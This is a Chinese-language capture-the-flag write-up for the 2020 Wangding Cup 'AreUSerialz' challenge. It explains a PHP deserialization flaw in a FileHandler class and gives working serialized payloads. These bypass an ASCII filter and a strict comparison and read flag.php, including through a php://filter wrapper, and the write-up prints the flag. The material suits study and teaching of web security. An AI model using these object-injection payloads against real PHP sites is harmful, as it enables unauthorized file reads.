[网鼎杯 2020 青龙组]AreUSerialz1
- 分析源代码
根据题目代码分析,可知这是一题反序列化类型的题目。
按照常规方法,首先,我们先将代码复制到本地进行序列化构造,
根据代码逻辑分析,咋们可知,没有new对象,所以以下__construct()魔术方法不会触发,直接删除
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
__destruct()析构函数当对象被销毁时会被自动调用;所以当反序列化函数调用时,会触发这个魔术方法;
分析此方法内的代码逻辑,当我们需要它正确输出flag时此魔术方法调用后会接着正确调用此对象中的process()方法和output()方法,所以write()方法也可以删除不用看, protected $content属性也可直接删了。
根据删减,主要代码为:
<?
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
根据上述代码分析,当$op值强比较===不等于str(2),弱比较==等于2。
($this->op === "2")//不等于字符串类型的 2
($this->op == "2") //弱等于2 即可为int(2)
根据构造函数is_valid($s) 可知,
$s的值ASCII码范围得在32<=$s<=125;
再根据构造函数read()可知,
$filename值基本为flag.php
根据上述信息,构造第一个序列化值得到:
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}
根据经验及实验,我们简单构造的序列化值都属于这个ASCII码范围内,但是我们将构造的第一个序列化值get上传发现并不是flag,返回了,
这是一个重要的知识点,因为,代码中$op $filename属性为protected类型的,php中protected和private类型属性在类和对象实例中不可见的。所以这题根据这个特性有两个解题思路。
一:PHP7.1以上版本对 属性类型不敏感,将直接在序列化对象时将属性的类型换成public;
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
public $op=2;
public $filename="flag.php";
}
O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";
查看源码得:flag{2da81393-7f91-4ef0-ba3d-9d7fc548b957}
![](https://img-blog.csdnimg.cn/direct/016f1ac15fd444a699bab48b200ddfe2.png)
二:根据特性
private私有属性序列化时,在变量名前加 %00类名%00(%00 %00 是url编码代表null null)
protected受保护属性序列化,在变量名前加 %00 * %00
但这题使用%00不能正确执行因为%00会被浏览器自动解析成空字符其的ASCII码为0不在if判断的范围内,所以将%00改为\00其也是代表空字符且浏览器不会自动解析。
并且其中字符串类型s大写S时后面的值可以转义ascii的16进制来达到绕过浏览器解析的目的,后端\00即可被解析为ASCII码0代表空字符。
所以payload可为:
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";}
拓展:突破protected访问修饰符限制,在第一种方法的基础上使用伪协议访问。
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler
{
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
}
?>
O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
base64解码得<?php $flag='flag{2da81393-7f91-4ef0-ba3d-9d7fc548b957}';